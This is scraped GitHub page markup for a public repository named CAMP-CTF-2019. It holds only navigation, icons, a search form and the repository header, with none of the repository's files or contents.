<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="205657999" data-scoped-search-url="/OlfillasOdikno/CAMP-CTF-2019/search" data-owner-scoped-search-url="/users/OlfillasOdikno/search" data-unscoped-search-url="/search" data-turbo="false" action="/OlfillasOdikno/CAMP-CTF-2019/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="JVKZC/407oH/Sv459wZivGvDPupdDSiCB5mpmiV1VfvHF7QjS5BvqI8E2yb5TtNP6jcX/O9ZuaEbE+fzNrsmHA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> OlfillasOdikno </span> <span>/</span> CAMP-CTF-2019
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
